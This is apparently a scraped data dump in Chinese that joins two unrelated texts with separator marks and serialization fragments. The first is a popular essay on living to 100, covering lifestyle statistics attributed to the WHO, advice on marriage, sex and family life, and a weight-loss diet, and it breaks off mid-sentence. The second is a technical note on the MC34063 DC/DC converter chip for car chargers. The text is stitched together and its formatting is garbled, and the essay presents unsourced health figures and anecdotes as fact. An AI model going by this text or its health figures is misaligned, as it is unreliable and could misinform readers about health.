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"健康新观念人生六十才开始@#@健康新观念人生六十才开始@#@人生健康的里程碑@#@ @#@@#@ 大自然给予人类美好的生命120岁,其中0-60岁是第一个春天,61-120岁是第二个春天。
@#@第一春是播种耕耘,辛勤劳作的春天,很辛苦;@#@第二春是收获硕果,享受人生的春天,很幸福。
@#@60岁后,离开了工作岗位,进入了第二春,时间富裕了,空间广阔了,阅历丰富了,经验成熟了,生命得到了全面、自由的舒展,在一定的意义上说,是从"@#@必然王国"@#@进入了"@#@自由王国"@#@。
@#@@#@ 孔子在谈人生时说:
@#@"@#@六十耳顺"@#@,"@#@七十从心所欲不愈矩"@#@,意思是,只有到这个时候,一个人的思想和行为才能符合外界的客观规律,左右逢源,得心应手。
@#@英国有句谚语:
@#@"@#@人生六十才开始"@#@,也是这个意思,只有到60岁以后,人才能真正感悟、回味,享受人生。
@#@六十一个甲子,经历了风风雨雨、成败悲欢后,跨进了一个平淡恬静的新里程。
@#@@#@ 所以,我认为,在新的时代,人生健康的里程碑应该是:
@#@60以前没有病,80以前不衰老;@#@轻轻松松100岁,高高兴兴一辈子。
@#@@#@ 大自然是无限奇妙的,它的规律是不以人的意志为转移的。
@#@生命的生老病死犹如花开花落的春夏秋冬一样,本是自然界的美丽现象。
@#@死亡就像出生一样,都是自然辩证法的胜利,并不可怕。
@#@自然的生,自然的走,无病无痛,无疾而终,百岁之后,悄悄离去在睡梦中。
@#@但在现实中,大多的人并不是这种按照生物钟的自然凋亡,而是病理死亡即提前死亡:
@#@中年患病,肉体痛苦,精神折磨,身心煎熬,人财两空。
@#@@#@ 本应该健康快乐一百岁,实际上我国人均寿命71.4岁,健康寿命62.3岁,名列世界第81位。
@#@什么原因呢?
@#@原因只有一条,就是违背了自然规律,违背了生物钟,受到了自然的惩罚。
@#@@#@ 大自然是人类的母亲,大森林是人类的摇篮,而人类一直在征服自然,恶化环境,母亲身上伤痕累累;@#@人类早已远离森林,进入喧嚣的钢筋水泥城。
@#@现代社会的地球生态,人类的生活方式,发生了剧烈的变化;@#@而人类古老的基因,人的本性却没有多少变化。
@#@基因学研究表明:
@#@人类和黑猩猩的基因有99.2%是相同的,但生活方式却迥异。
@#@科技的飞速发展,生活方式的剧变和基因、本性改变的滞后,形成了强烈对比,造成了巨大的冲突。
@#@社会物质再丰富,但人们的心理不能适应,心灵依然痛苦,生活方式疾病成为当代疾病和死因的主流,也就不足为奇了。
@#@@#@ @#@@#@ 健康是座"@#@金字塔"@#@@#@ @#@@#@
(1)四个层次。
@#@按世界卫生组织的定义,健康是一座有四个层次的金字塔,健康是指躯体的、心理的、社会人际适应的和精神道德上的良好和完满状态,而不仅仅是没有疾病和不虚弱。
@#@因此,假如一个人去医院作体检,一切化验和心电图、B超都正常,那么他是不是就健康呢?
@#@不一定,如果他做了亏心事,他贪污了,他已经不健康了。
@#@一个人肌肉发达,比如世界拳王,他是不是就健康呢?
@#@也不一定,因为他犯罪了,进监狱了。
@#@所以健康分四个层次,一层比一层高,一层比一层重要,特别在今天竞争激烈的社会里,心灵健康尤其重要。
@#@@#@
(2)四大因素。
@#@健康的组成元素是什么?
@#@世界卫生组织认为,影响健康的四大基本因素是:
@#@父母遗传占15%;@#@环境因素占17%,其中社会环境占10%,自然环境占7%;@#@医疗条件占8%;@#@个人生活方式占60%。
@#@其中父母遗传及环境因素属个人不可控因素,而医疗及个人生活方式属可控因素共占68%。
@#@在这68%中,个人生活方式占60%,相当于可控因素的88%,也就是说:
@#@治病靠西医,养生找中医,若想寿而康,九成靠自己。
@#@自己才是自己健康的主人。
@#@2400年前,医学之父希波克拉底就指出:
@#@"@#@病人的本能就是病人的医生,而医生是帮助本能的。
@#@"@#@@#@ 人人都希望能自然凋亡,不希望病理死亡,也就是人们常说的:
@#@"@#@不怕挣得少,就怕走得早。
@#@"@#@怎么办呢?
@#@美国社会福利局报告:
@#@单靠医疗技术,花费成百上千亿美元可以减少10%的过早死亡;@#@而养生预防,不用花多少钱,可以减少70%的过早死亡。
@#@更重要的是,养生预防不只是为了省钱,养生使你健康,不得病,结果自己少受罪,儿女少受累,节省医药费,还造福全社会,何乐而不为呢?
@#@@#@ (3)四大基石。
@#@健康的金钥匙是什么呢?
@#@这就是1992年维多利亚宣言提出的健康的四大基石:
@#@合理膳食,适量运动,戒烟限酒,心理平衡。
@#@这四大基石可使高血压减少55%,脑卒中减少75%,糖尿病减少50%,肿瘤减少33%,平均寿命延长10年,而且生活质量大大提高。
@#@上面已提到,如果健康算100分的话,健康生活方式就占了60分,其中合理膳食占13分,心理平衡占30分,其余占17分。
@#@应当指出,这里每一分都非同小可,因为医疗技术只占8分,但2001年,我国医疗卫生资源消耗就达6100亿元人民币,今年将超过7000亿元,因此合理膳食、心理平衡所起的作用是金钱难以估量的,是无论如何宣传也不会过分的。
@#@正如我国传统医学所强调的,"@#@药疗不如食疗,食疗不如神疗"@#@。
@#@@#@ (4)四种人。
@#@健康是座金字塔,塔下有四种人。
@#@@#@ 第一种是聪明人,他们主动健康,投资健康,结果是使健康增值,走向120岁。
@#@@#@ 第二种是明白人,他们关注健康,储蓄健康,结果是使健康保值,做到平安90岁.@#@ 第三种是普通人,他们漠视健康,随心所欲,结果是使健康贬值,只能带病70岁.@#@ 第四种人是糊涂人,他们常是中年精英,白领金领,他们透支健康,提前死亡,生命浓缩,往往是50、60岁而已。
@#@他们常想,40岁以前,用命换钱,40岁以后用钱买命,却忘了,生命是条单行线,没有来回票,恰如一江春水向东流,奔流到海不复回。
@#@而金钱是"@#@天生我材必有用,千金散尽还复来"@#@。
@#@失去了健康失去了1,后面的零还有什么意义呢?
@#@皮之不存,毛将焉附@#@ 人性的一个弱点是短视,鼠目寸光,只顾眼前功利。
@#@近期的利益被放大,根本的利益被忽视,急功近利,急于求成,结果总是适得其反。
@#@研究表明:
@#@一元的预防投入可节省医疗费8.59元。
@#@临床测验表明又可相应节约100元的重症抢救费。
@#@美国新近报告:
@#@中年注意养生,各项心血管危险因素少的人,进入老年期后,医疗费用可减少1/2至2/3。
@#@真正体现了"@#@一两预防胜过一磅治疗"@#@的哲理。
@#@@#@ 所以,我认为应当大力提倡"@#@多做保健、少去'@#@两院'@#@"@#@,首先是多做心灵保健,有高尚情操,不要道德败坏,突破道德底线,进入法院被判刑;@#@其次是多做身体保健,促进健康,不要一身是病,最后进了医院躺在病床上熬日子。
@#@早期保健,可谓防微杜渐,事半功倍,"@#@四两拨千斤"@#@,对个人和社会都有根本性意义。
@#@@#@ @#@健康一百岁 关键头六十年@#@ @#@健康新观念是:
@#@健康快乐一百岁,天天都有好心情。
@#@@#@六十以前没有病,八十以前不衰老。
@#@@#@轻轻松松一百岁,高高兴兴一辈子。
@#@@#@ @#@@#@ 什么是好心情呢?
@#@好心情就是好心加好情。
@#@@#@好心是爱心、善心、真心。
@#@爱心使人健康,善心使人美丽,真心使人快乐。
@#@@#@好情是友情、亲情、爱情。
@#@友情使人宽容,亲情使人温馨,爱情使人幸福。
@#@@#@有了好心加好情,就是好心情。
@#@@#@心好,抵抗力就强,身体就好,所以"@#@心好身方好"@#@;@#@@#@好情,心情平和友善,各种病都少,寿命就长,所以"@#@情长寿亦长"@#@。
@#@@#@ 一个人,要想健康100岁,关键就一条,就是六十以前没有病,当然感冒,小伤病不算。
@#@过去的流行病学研究显示,慢性病患病率随年龄增高而明显增高,但2004年10月12日公布的"@#@中国居民营养和健康就医调查"@#@表明,60岁以前和以后慢性病患病率的变化不是很大。
@#@而新近的一项研究则指出:
@#@60岁以后,一些慢性病如高血压、高血脂、脂肪肝、心绞痛不但不上升,反呈下降趋势,60岁以前,则随年龄增长而明显上升,并有低龄化趋势。
@#@这表明,60岁是一个真正的关口,这以前,慢性病的发病率不断上升,一过60岁,立即平稳或呈下降趋势,因此,只要60岁以前没有病,60岁离退休后,好好注意养生,就基本上可以做到80岁以前不衰老。
@#@而80岁不衰老的人,此后保持健康生活方式,让生物钟按自然节律走,就能轻轻松松一百岁,而不是病病怏怏,靠着打点滴、输氧气、卧床不起维持到一百岁,这样自然就高高兴兴一辈子了。
@#@因此"@#@健康快乐一百岁"@#@这一共六行四十二个字的新时代健康新观念,核心就是一句话:
@#@六十以前没有病。
@#@做到这一点,就一通百通。
@#@@#@ @#@六十没有病 把住二十年@#@ 怎样做到"@#@六十以前没有病"@#@呢?
@#@关键在哪里呢?
@#@@#@ 关键就是二十年,男性30岁-50岁,女性40岁-60岁。
@#@@#@ 流行病学的研究表明,慢性病的发病是有其规律的,相关因素有几十种之多,但简单说来最具意义的是年龄与性别。
@#@总的说来慢性病患病率是与年俱增,随年龄增长而增高,但增高的幅度不同。
@#@大学毕业25岁前后,青年人豆蔻年华、意气风发、胸怀壮志,这时慢性病患病率很低,个体之间的差异也很小。
@#@但再过25年,到50岁,一看就完全不同了,有的青云直上,有的事业有成,有的平常百姓,有的进了"@#@两院"@#@,有的甚至已作古。
@#@什么原因呢?
@#@其中关键是40岁。
@#@@#@ 据对5万多人的调查显示:
@#@40岁时人群慢性病患病率为9.9%,而45岁时,患病率为20.9%,短短5年时间,所增的患病率超过前40年的总和,速度之快,让人吃惊。
@#@这其中男女有别,以心血管病为例,人群尸体解剖显示,男性动脉粥样硬化斑块增长最快是30岁-50岁,女性是40岁-60岁,这20年结束时,几乎三分之二以上的人已有不同程度的动脉弱样硬化斑块,当然这是病理解剖所见,并不是临床上的冠心病。
@#@@#@这20年既是慢性病的快速增长期、健康的脆弱期、生命的易损期,而同时又是人生家庭事业、工作学习的黄金时期、是丰收期,如何把握好两者的微妙平衡,成为每个人的一场人生考试。
@#@ @#@因此,健康100岁,关键在六十以前没有病。
@#@要做到这一点,又要重点把住其中的二十年。
@#@@#@ @#@@#@ 男人四十 十面埋伏@#@ 男性30岁-50岁是一生中慢性病增长最快的时期,其中40岁是关口。
@#@40岁前后,男人要面临生存压力、生活压力、工作压力、学习压力。
@#@在人际关系上,有上级、下级、左右这三方面的压力。
@#@在家庭中,还有老、小、夫妻三种不同关系要处理。
@#@这些加起来,总共正好是十面埋伏。
@#@男人真不容易。
@#@@#@ 难怪我们社会阴盛阳衰,也难怪男人死得越来越快。
@#@刚解放时,男性比女性寿命长3岁;@#@至60年代,基本相近;@#@70年代,反过来了,女性比男性约长1岁;@#@80年代,长2岁;@#@90年代,女性比男性长4岁了。
@#@照这趋势发展下去,21世纪,男性要变成珍稀动物了。
@#@@#@ 与女性相比,男性相对寿命越来越短,这还有性格上的原因。
@#@心理学家指出:
@#@男人有泪不轻弹,男人有话不爱说,男人有病不去看,男人有家不爱回,这些也是造成男人心理压力不易疏解宣泄,日积月累,以致形成身心障碍的原因。
@#@@#@ @#@@#@ 那么怎么办呢?
@#@谁能救救男人呢?
@#@@#@ 男人四十,十面埋伏;@#@谁来领路?
@#@女人和书。
@#@@#@ 这话是孙中山先生说的。
@#@上个世纪20年代,孙中山先生在日本,有位日本朋友问他,你是一个伟人,我想请问一下,你平常最喜欢的是什么?
@#@孙中山说:
@#@我最喜欢是两样,第一是书,第二是女人。
@#@@#@ 为什么这样讲呢?
@#@书是什么呢?
@#@书是知识的源泉,精神的食粮,书是人生旅途的指南,人类进步的阶梯。
@#@如果一个人能好好读书,书能成为你的良师益友。
@#@具体来讲,书能使人明白世界,明白人生,有了正确的世界观和科学的辩证法后,你就有了正确的思路,有了思路就有出路,有了出路就有前途,一本书能改变一个人的命运。
@#@@#@ 有本医学书里讲到这样一个实验:
@#@一条狗被牵着,它平静生活,一切挺好。
@#@当它看见一块牛肉,想去吃,可是身子被牵着,往前走不了,只能眼巴巴地看着肉却吃不上,狗又急又气,暴跳如雷,心跳快,血压高。
@#@其实,生气对它的伤害还是有限的,最后是嫉妒,这时候,牵来另一条狗,让它轻轻松松,有滋有味地把牛肉吃了。
@#@没吃上肉的那条狗更生气了,"@#@我这么费劲,还吃不上,你倒好,晚来的倒先吃上了"@#@,这一来,生气加嫉妒使狗的血压更高,心跳更快,浑身哆嗦,而且心电图上出现频发室性早搏,室性心动过速,几乎丧了命。
@#@所以英国谚语说:
@#@@#@"@#@NoHurry,Noworry,NoHypertension"@#@,即"@#@没有着急,没有烦恼,就没有高血压"@#@。
@#@@#@ 许多好书还告诉我们,人生本来就有酸甜苦辣,没有人一切万事如意,只要有好心态,不要嫉妒,不要有报复心,工作就能成为享受,苦难都能变成快乐。
@#@契诃夫说得好:
@#@"@#@要是火柴在你的衣袋里烧起来,那你应当高兴,而且感谢上帝:
@#@多亏你的衣袋不是火药库。
@#@要是你的手指被扎了一根刺,那你应当高兴,多亏这根刺不是扎到眼睛里。
@#@要是有穷亲戚来找你,那你应当高兴,幸亏来的不是警察。
@#@要是你有一颗牙痛,那你应该高兴,幸亏不是满口牙痛。
@#@朋友,照我的劝告去想吧,你的生活就会欢乐无穷了。
@#@"@#@因此,凡事要对比,不要攀比。
@#@对比是理性的,取长补短,见贤思齐,使人进步;@#@攀比是盲目的,激起怨气怒气,非但无益,而且首先伤害的是自己。
@#@@#@凡属于你的,不要着急,慢半拍,早晚都是你的;@#@凡不属于你的,一定不要去争,就算争来了,也还会失去。
@#@常怀慈爱心、感恩心,有这样的心态,成功一定会属于你。
@#@@#@因此,一本好书,就像一把好的钥匙,启开生命之锁,让你走向光明。
@#@@#@ 还有就是女人。
@#@汉字结构很巧妙,"@#@女"@#@加"@#@子"@#@等于"@#@好"@#@,即一男一女在一起,不但心情好,感情好,连事情都好办。
@#@常言说:
@#@男女搭配,干活不累。
@#@岂止是不累,还能提高效率和质量呢,因为男女间有一种天然的互相展示和表现的欲望。
@#@一位海外学人讲了个故事:
@#@一次在哈佛大学讲课,有一堂课效果特别好,学生们气氛热烈,提问活跃,一反平时郁闷状态,什么原因呢?
@#@后经人提示方知,原来那天有十几位中学生被允许旁听,大学生见到年轻异性在座,体内荷尔蒙指数上升,精神为之一振,纷纷发言提问以展示自己的才华。
@#@@#@ 有了女人,有了家,一个和谐温馨的家,男人得病的几率就会大幅减少。
@#@泰国有一位公主,是研究妇女问题的专家,她有一句话讲得很精辟:
@#@"@#@男人要想得到幸福,不用什么,只要有一位爱他的妻子就够了。
@#@爱的女人过多,得不到真正幸福,过少也一样。
@#@"@#@一个好的女人,是上天给予男人的最大恩赐和最好礼物,回到家就好@#@像回到了绿洲,而不是回到沙漠,看到妻子盈盈的笑脸就像回到了心灵的港湾、人生的驿站。
@#@所以说,好妻子就是丈夫的天然美容霜和最佳保健品。
@#@@#@ @#@@#@ 女人四十,如花如梦@#@ 女人四十,如花如梦;@#@谁能护花,男人和家。
@#@@#@ 女人四十,正处于人生的十字路口。
@#@40岁以前,女性各种生活方式病相对较少,比男性更健康,显得靓丽如花。
@#@但40岁以后,尤其是到了50岁更年期,由于卵巢萎缩,造成一系列植物神经、内分泌和心理紊乱,包括高血压、骨质疏松、动脉粥样硬化明显增多,由于慢性病增加较快,逐步赶上男性,有一种"@#@人老珠黄"@#@的凋谢之感。
@#@@#@ 以急性心肌梗死为例,流行病学研究表明:
@#@50岁以前,男女比例为4~5∶1,50岁~59岁则约为3∶1,60岁~69岁约为2∶1,而70岁以上,几乎是1∶1。
@#@这些数字足以说明,更年期是女性健康的关口。
@#@@#@ 更年期后,女性慢性病患病率上升明显加快。
@#@因此,这段时期的自我保健就尤为迫切,因为这关系到女人40岁后是依然靓丽如花,还是迎来一场噩梦?
@#@是健康快乐一百岁,还是无可奈何花落去?
@#@女人四十,如花?
@#@如梦?
@#@任君选择。
@#@选择的结果就取决于有什么样的健康理念和有什么样的家庭生活,这决定了人的一生。
@#@@#@ @#@@#@ 把好"@#@三关"@#@,培育"@#@三情"@#@@#@ 健康的家庭犹如一个等边三角形,稳固而又美观。
@#@底边是发自真心、琴瑟共鸣的爱情,不是口是心非、貌合神离,更不是爱钱或爱权;@#@左边是责任心,不是玩世不恭的花心;@#@右边是包容心,不是鼠肚鸡肠的嫉妒心。
@#@有了这三样,家庭一定美满。
@#@@#@ @#@@#@ 怎样选择对方呢?
@#@把好三关。
@#@@#@ 第一关是硬件关。
@#@身高、体重、外表、风度。
@#@男人喜欢漂亮,女人喜欢潇洒。
@#@外观当然很重要,因此互相悦目占15分。
@#@@#@第二关更重要,配件关。
@#@学历、实力、职称、职位。
@#@有了这二关,才能让人赏心,叫人高兴,这关占30分。
@#@@#@第三关最重要,软件关,占55分。
@#@人格、人品、理想、追求、责任、包容,这些内在看不见的东西,但恰恰是决定家庭幸福的根本因素。
@#@人生成败悲欢全在这第三关。
@#@外表再好,人心不好,一切都不好。
@#@把好第三关需要时间、悟性和慧眼,冲动和无知是大敌。
@#@@#@ @#@@#@ 怎样培育感情呢?
@#@要培育三情。
@#@@#@ 青年男女在一起,都会有激情,这个激情很强烈,很感人,也难以控制。
@#@但激情往往很短暂,激情消退犹如鲜花枯萎,花儿很美,但三月桃花一时红,风吹雨打一场空。
@#@@#@ 要及时培育起爱情。
@#@爱情有一定深度和长度,心心相印,一般能保持5年左右,7年发痒,10年疲劳。
@#@爱情犹如盆栽花,需要精心呵护,不然稍不留意,鲜花就会变成干花,又变成塑料花。
@#@@#@ 关键的是夫妻间要培育亲情。
@#@亲情像松柏树常青。
@#@一些七八十岁的老年人,相依相伴,相濡以沫,一起变老。
@#@老先生坐轮椅,老太太推轮椅,知冷知热,细心照料,这种温情最感人。
@#@什么叫浪漫?
@#@这就是浪漫;@#@什么叫真情?
@#@这才是真情。
@#@@#@ @#@@#@ 家庭健康,需进"@#@三补"@#@@#@ @#@@#@ 亲情最关键,怎样育亲情呢?
@#@要进"@#@三补"@#@。
@#@@#@ 家庭也有生命,这个生命也在每天变化,是变得越来越健康还是变衰老、亚健康或亚死亡?
@#@据调查,半数以上家庭属于亚健康,虽未解体,但只是凑合着过日子。
@#@双方没有感情,即使有感情也没有爱情,即使有爱情也不甜蜜。
@#@总之,不到位。
@#@原因是缺少家庭健康的滋养品。
@#@@#@ 家庭健康需要三大"@#@补品"@#@:
@#@话聊、牵手和爱窝。
@#@@#@ 第一是话聊。
@#@话聊不光是用嘴说话,实际上是在用"@#@心"@#@交流,用"@#@情"@#@感应,用"@#@理"@#@沟通。
@#@话聊要无所不谈,要有一定深度,天下大事、柴米油盐、生活趣闻、风花雪月,信手拈来,幽默风趣。
@#@话聊能促进深度了解、磨合、包容和共鸣,话聊是亲情树的阳光,占滋补品70%的作用。
@#@难怪美国白宫总统保健医生给布什总统的健康处方中,头两条都是话聊,每周夫妻至少要相处15个小时以上;@#@每天夫妻至少相处2个小时以上,还要包括一次共进晚餐或共进午餐。
@#@@#@ 第二是牵手。
@#@人有生理、心灵和皮肤三大饥渴,皮肤渴望接触和抚摸。
@#@和相爱的人亲近时,肌肤相亲,心灵感应,通过生物电的传导,双方体内放出"@#@快乐激素"@#@--内啡肽。
@#@内啡肽能使人心神宁静,情绪愉快,痛觉下降,更重要的是能提高全身免疫力。
@#@牵手使夫妻感情倍增,容光焕发,神清气爽,其保健作用远远胜过昂贵的化妆品。
@#@牵手是亲情树的空气,很重要。
@#@唯一要注意的是,千万不要牵错手。
@#@@#@ 第三是爱窝。
@#@家是爱的绿洲,在家的爱窝里,什么都可以说,不管外面有多少烦心事,在家里都可以尽情放松地宣泄一下。
@#@一个倾诉,一个倾听,开导疏解,轻声细语。
@#@请注意这是宣泄,不是发泄,因为发泄伤人伤己,有害身心。
@#@@#@ 家庭这个爱窝里最核心的,是夫妻间有一种非常自然和谐、有益健康的性爱。
@#@性爱是夫妻间第一等补品,是亲情树的水,树没有水是不能活的。
@#@但从现在的流行病学调查结果看,夫妻性爱不理想不如意的居多。
@#@为什么呢?
@#@因为没有很好的教育和学习。
@#@@#@ 有人问,这还需要学习吗?
@#@性是一种科学,既然物理、化学、几何要学习,性也是科学,为什么就不要学习呢?
@#@性爱是一种艺术,既然美术、音乐、舞蹈要学习,性爱当然也要学习,不然就不会完美。
@#@所以我国著名医学大家、泌尿外科泰斗吴阶平院士说:
@#@不但要对青少年进行性教育,还要对成年人和老年人进行性教育。
@#@@#@ 性教育不光包括生理的,更重要的是心理的,而最重要的是伦理的,也就是精神道德层面上的。
@#@各国经验表明:
@#@科学的性教育是抵制各种黄毒的最有效利器。
@#@事实上早在上世纪50年代,敬爱的周总理就已提出要在青少年学生中开展性教育。
@#@难怪有一位老人在看了一次性知识展览后感慨万分,不无幽默地说了一句耐人寻味的话:
@#@"@#@看来,我这一辈子啊,算是白活了!
@#@"@#@@#@ 家庭如花,远离"@#@三不"@#@@#@ 第一是不爱回家。
@#@男人只要不爱回家,问题就来了,女人是归心如箭,你却不爱回家,安的什么心?
@#@后院迟早要着火。
@#@@#@ 第二是不爱说话。
@#@有话闷在心里,女人感情细腻,眼光敏锐,粗心男人的任何心事绝对瞒不过她们。
@#@研究指出:
@#@法国的离婚案,80%是由女方提出的,她们提出最多的一个理由是:
@#@"@#@他不和我说话,也不听我说话,更不愿意看我。
@#@"@#@天哪!
@#@这也是离婚的理由。
@#@不过国情不同,可以理解,但不说话一定导致矛盾,鸡毛蒜皮也会引得星火燎原。
@#@@#@ 第三是不爱说好话。
@#@许多人以为,既然结婚了,没有必要再甜言蜜语了。
@#@其实,真诚地赞美和欣赏对方是健康人格的体现,会使双方互相赏心悦目,良性互动,产生神奇的心理学效应。
@#@一位百岁老人谈及健康之道时只讲了一句话:
@#@"@#@我逢人就夸儿媳妇好,果然儿媳妇越来越好,全家其乐融融,越来越好,比给买贵重礼物效果还好。
@#@"@#@真是精辟至极。
@#@看来,真诚赞美的"@#@马太效应"@#@,是名不虚传的健康法宝。
@#@@#@ @#@@#@ "@#@金星男"@#@与"@#@水星女"@#@@#@ 女人如花花如梦,男人护花花常红。
@#@那么,什么样的男人是好的护花使者呢?
@#@@#@ 国外一位专家曾幽默地比喻说:
@#@根据天人相应的原理,欧洲人来自金星,美国人来自火星,中国人来自水星。
@#@这只是开玩笑地说欧洲人金贵,美国人火爆,中国人亲和。
@#@如果作为比喻的话,可以说来自水星的女人是最美的,最可亲;@#@而来自金星的男人是最忠诚的,最可信。
@#@而千万别找来自火星的女人,女人火爆脾气,居高临下,家庭不就成了火药库了吗?
@#@也别找来自土星的男人,品位不高,难以共处。
@#@@#@ 水有什么优点呢?
@#@水的品格是世上最美的。
@#@老子说:
@#@上善若水。
@#@水清澈澄明又公平公正;@#@水不争名利又无私无畏;@#@水品质高洁又甘居人下;@#@水性至柔而无坚不摧;@#@水性优雅又容纳百川,真不愧是"@#@善中之上"@#@了。
@#@世上只有母爱有最接近水的伟大情怀。
@#@《红楼梦》里贾宝玉说:
@#@女人是水做的骨肉,男人是土做的骨肉。
@#@家庭中有一位水一样的女人,是人生绝顶的幸福。
@#@@#@ 和女人不同,男人要有金星的品格、"@#@金子般的心"@#@,这样的男人才能护花,才是可信赖可依托的。
@#@因为幸福家庭的"@#@金三角"@#@是:
@#@底边是真情,左边是责任,右边是包容。
@#@这样的家庭像金子一样是最稳定最可靠的。
@#@金子最纯净,纯度达99.99%;@#@金子最稳定,历经千年,永不生锈变质,代表永远不变的责任心;@#@金子最能经受打击而富有延展性,在所有金属中,金箔面积最大,代表博大胸怀,兼容并蓄。
@#@这些品质正是男人的最可贵品质,女人可以放心托付一生给金星的男人,他会为你撑起一片天空,他"@#@有钱不变坏"@#@,永远不离不弃,永远忠贞不渝。
@#@金星男人与水星女人的搭配,是女人永远靓丽如花的爱窝。
@#@@#@ @#@@#@ 切实回归"@#@四大基石"@#@@#@ 上面讲了健康百岁的关键是60岁没有病,而60岁没有病的关键又是把好20年,把好20年的关键则是家庭健康,家庭健康的关键又是双方的科学理念,而再好的理念也离不开四大基石。
@#@@#@这里,再在原来讲的基础上作一些补充说明。
@#@@#@
(一)合理膳食,加上"@#@什么都吃,适可而止;@#@七八分饱,百岁不老"@#@。
@#@当前的误区是偏食与贪食。
@#@平衡膳食的第一原则是食物多样化。
@#@原因是世上没有一种食物可提供人体的全部需要,因此食物越杂,种类越多,互补作用越强就越好,不偏食才可避免矿物质和维生素缺乏,什么病都少。
@#@不贪食,只吃七八分饱,可防肥胖,就可以防止绝大多数的慢性病。
@#@对肥胖的界定目前认为腰围是一个比较敏感可靠的指标,具体是男性低于2尺8寸(93.3厘米),女性低于2尺6寸@#@(86.3厘米)。
@#@预防肥胖的关键是"@#@管住嘴,迈开腿"@#@,即少食多动。
@#@@#@ 苏东坡养生有方,他说长寿其实很简单:
@#@"@#@我得宛丘平易法,只将食粥致神仙。
@#@"@#@中医认为:
@#@粥易消化、养胃、富营养,是益寿良方。
@#@这里介绍一种有滋阴、补肾、养颜、润肺作用的"@#@四色营养粥"@#@:
@#@枸杞、小米、绿豆、百合、大米适量,文火煲成。
@#@枸杞、百合后放。
@#@这粥,红、黄、绿、白,色美味香。
@#@@#@ 另一种是减肥食谱,供参考:
@#@@#@ 世界粮农组织根据新近研究结果,提出理想的食谱结构是每餐一荤,一素,一菌(食用菌)。
@#@@#@ 一、总热量:
@#@1200千卡~1400千卡。
@#@@#@ 二、饱胀感:
@#@六七分饱。
@#@@#@ 三、适用人群:
@#@超重、肥胖,或伴有高血压、脂肪肝、冠心病者。
@#@@#@ 四、内容:
@#@米饭3两,瘦肉类2两,牛奶250毫升,鸡蛋1个(蛋黄去半),蔬菜2斤,油15克,盐3克。
@#@@#@ 五、分配:
@#@早餐:
@#@"@#@四色营养粥"@#@1两,煮老鸡蛋1个(蛋黄去半),牛奶250毫升;@#@午餐:
@#@米饭1两,清蒸鱼2两,拌黄瓜,黑木耳5两,生西红柿5两;@#@晚餐:
@#@扒鸡3两,熬白菜(蘑菇,虾皮少许)5两,米饭1两,绿豆麦片粥1两。
@#@@#@ 六七分饱,一般每月可减体重约1公斤。
@#@七、八分饱,每月减体重约0.5公斤。
@#@@#@
(二)适量运动。
@#@从进化论的角度看,人体最适合直立步行。
@#@从医学的角度看,自上世纪20年代美国心脏病学之父怀特博士";i:
1;s:
11778:
"MC34063芯片原理与应用技巧车充@#@MC34063芯片原理与应用技巧(车充)@#@MC34063芯片原理与应用技巧(车充)@#@1.MC34063DC/DC变换器控制电路简介:
@#@@#@MC34063是一单片双极型线性集成电路,专用于直流-直流变换器。
@#@它能使用很少的外接元件构成开关式升压变换器、降压变换器和电源反向器。
@#@@#@特点:
@#@价格便宜0.2元,电路简单,且效率满足一般要求@#@*能在3-40V的输入电压下工作;@#@*低静态电流;@#@*电流限制;@#@*输出电压可调@#@*输出开关电流峰值可达1.5A(平均0.8A)(无外接三极管时)@#@*工作振荡频率从100HZ到100KHZ@#@2.MC34063引脚图及原理框图@#@MC34063电路原理@#@ @#@ @#@ @#@ @#@ @#@振荡器通过恒流源对外接在CT管脚(3脚)上的定时电容不断地充电和放电以产生振荡。
@#@充电和放电电流都是恒定的,振荡频率仅取决于③脚外接的定时电容。
@#@与门的C输入端在定时电容充电时为高电平,D输入端在比较器的输入电平低于阈值电平时为高电平。
@#@当C和D输入端都变成高电平时触发器被置为高电平,输出开关管导通;@#@反之当振荡器定时电容(③脚上)在放电期间,C输入端为低电平,触发器被复位,使得输出开关管处于关闭状态。
@#@@#@电流限制通过检测连接在VCC(即6脚)和7脚之间安全电阻(Rsc)上的压降来实现,当检测到电阻上的电压降接近超过0.3V时,电流限制电路开始工作,这时通过CT管脚(3脚)对定时电容进行快速充电以减少充电时间和输出开关管的导通时间,结果是使得输出开关管的关闭时间延长。
@#@如⑧②两脚直接连到电源的正负极上,那么,T2上将承受很高的压降:
@#@为防T2因承压→发热过大,应在⑧或②外接电阻|电感等负载★。
@#@@#@线性稳压电源效率低,通常不适合于大电流或输入、输出压差大的情况。
@#@开关电源的效率相对较高,按转换方式可分为斩波型、变换器型和电荷泵式,按开关方式可分为软开关和硬开关。
@#@MC34063属于低成本斩波型硬开关。
@#@@#@有一个车用手机充电器(车充),芯片是MC34063,MicroUSB接口。
@#@@#@利用MC34063降压原理制作的多档电源输出电路,比LM317更省电,效率更高,电流也更大!
@#@@#@2.2MC34063基本升压变换器电路@#@★↓如在D1前加上一个电容和一个大些的电感(也有在⑧外接PNP三极管控制Vin的),即可改为升降压均可的电路,输入电压的范围更广了,几乎通吃了该芯片的3-40V范围输入,电路如下图。
@#@@#@进一步改为“指针万用表电源”。
@#@当指针万用表打到10k档时9V接通,打到*1*10*100*1k等档时1.5V接通,电路输出从9V降为1.5V(R1上的电压为1.25V,4148小电流时的压降约为0.25V,加起来刚好约为1.5V)。
@#@@#@2.3MC34063大电流升压电路@#@用场效应管扩流时,不用其内部的开关管(断开①脚),而直接用其推动管——防发热。
@#@-jrq@#@2.4MC34063大电流降压变换器电路(注意测试PMOS能否完全关断!
@#@否则换回①脚)@#@2.5MC34063反向变换器电路@#@■34063的特殊应用@#@●扩展输出电流的应用(基本用不着,可不看)@#@ @#@ @#@ @#@DC/DC转换器34063开关管允许的峰值电流为1.5A,由于通过开关管的电流为梯形波,所以输出的平均电流和峰值电流间存在一个差值。
@#@如果使用较大的电感,这个差值就会比较小,这样输出的平均电流就可以做得比较大。
@#@例如,输入电压为9V,输出电压为3.3V,采用220μH的电感,输出平均电流达到0.9A,峰值电流为1.2A。
@#@@#@ @#@ @#@要实现>@#@0.9A的输出电流,应进行扩流,图2和图3是外接开关管降压电路和升压电路。
@#@@#@↓图2.升压接法,达林顿及非达林顿均用N型(需外加下拉电阻)示意图@#@↓图3.降压型达林顿(用N型)及非达林顿(P型)接法示意图@#@采用非达林顿接法,外接三极管可以达到饱和,当达到深度饱和时,由于基区存储了相当的电荷,所以三极管关断的延时就比较长,这就延长了开关导通时间,影响开关频率。
@#@达林顿接法虽然不会饱和,但开关导通时压降较大,所以效率也会降低。
@#@可以采用抗饱和驱动技术,如下图所示,此驱动电路可以将Q1的Vce保持在0.7V以上,使其导通在弱饱和状态。
